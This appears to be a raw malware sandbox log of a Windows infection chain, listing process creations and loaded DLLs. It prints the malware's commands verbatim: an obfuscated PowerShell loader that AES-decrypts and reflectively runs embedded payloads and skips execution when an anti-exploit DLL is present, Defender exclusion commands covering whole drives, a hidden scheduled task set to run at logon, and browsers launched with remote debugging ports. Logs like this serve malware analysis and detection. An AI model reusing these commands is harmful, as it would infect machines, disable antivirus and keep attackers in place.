Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe "C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 9294' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network9294Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\Network9294Man.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe "C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network9294Man')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2016,i,11931169418970791353,8527308257632557293,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2268,i,4270709120821206105,7988913015437198549,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,15762484504368215881,17872325202464859590,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCGHCBKFCF.exe "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd" "
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe "C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe "C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Local\Temp\1010782021\Spreadtest')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 9294' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network9294Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Network9294Man.cmd"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\Network9294Man.cmd';$uPFh='SpIpunlIpunitIpun'.Replace('Ipun', ''),'EyTqNntyTqNryPyTqNoinyTqNtyTqN'.Replace('yTqN', ''),'RewATbawATbdLwATbinewATbswATb'.Replace('wATb', ''),'LoZhiRaZhiRdZhiR'.Replace('ZhiR', ''),'CoCIONpyCIONToCION'.Replace('CION', ''),'ElebLgXmebLgXntbLgXAtbLgX'.Replace('bLgX', ''),'TraVHTQnVHTQsfVHTQormVHTQFVHTQinVHTQalVHTQBVHTQlVHTQocVHTQkVHTQ'.Replace('VHTQ', ''),'MaincuvnMncuvoduncuvlencuv'.Replace('ncuv', ''),'DehLmBcohLmBmphLmBreshLmBshLmB'.Replace('hLmB', ''),'FrYkgUomYkgUBYkgUasYkgUeYkgU64YkgUStYkgUrYkgUiYkgUngYkgU'.Replace('YkgU', ''),'GetxKYICuxKYIrrxKYIentxKYIPrxKYIocexKYIsxKYIsxKYI'.Replace('xKYI', ''),'ChtJfPantJfPgetJfPEtJfPxtJfPtetJfPntJfPsiotJfPntJfP'.Replace('tJfP', ''),'IFrQCnFrQCvoFrQCkFrQCeFrQC'.Replace('FrQC', ''),'CBnyHrBnyHeatBnyHeBnyHDecBnyHryBnyHptoBnyHrBnyH'.Replace('BnyH', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($uPFh[10])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function KiIiy($VDXGF){$bVIBG=[System.Security.Cryptography.Aes]::Create();$bVIBG.Mode=[System.Security.Cryptography.CipherMode]::CBC;$bVIBG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$bVIBG.Key=[System.Convert]::($uPFh[9])('RG9BvfiRpYdtHcjWHkn1kl+2athiyCXiOfI7qk7dfVg=');$bVIBG.IV=[System.Convert]::($uPFh[9])('egtU7S0neC7uINgxiRfVsQ==');$etNgB=$bVIBG.($uPFh[13])();$jgAoU=$etNgB.($uPFh[6])($VDXGF,0,$VDXGF.Length);$etNgB.Dispose();$bVIBG.Dispose();$jgAoU;}function VTDgL($VDXGF){$wQeYp=New-Object System.IO.MemoryStream(,$VDXGF);$OtomJ=New-Object System.IO.MemoryStream;$dTJRr=New-Object System.IO.Compression.GZipStream($wQeYp,[IO.Compression.CompressionMode]::($uPFh[8]));$dTJRr.($uPFh[4])($OtomJ);$dTJRr.Dispose();$wQeYp.Dispose();$OtomJ.Dispose();$OtomJ.ToArray();}$bIDzY=[System.IO.File]::($uPFh[2])([Console]::Title);$YTfZL=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 5).Substring(2))));$DzThg=VTDgL (KiIiy ([Convert]::($uPFh[9])([System.Linq.Enumerable]::($uPFh[5])($bIDzY, 6).Substring(2))));[System.Reflection.Assembly]::($uPFh[3])([byte[]]$DzThg).($uPFh[1]).($uPFh[12])($null,$null);[System.Reflection.Assembly]::($uPFh[3])([byte[]]$YTfZL).($uPFh[1]).($uPFh[12])($null,$null); "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network9294Man')
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
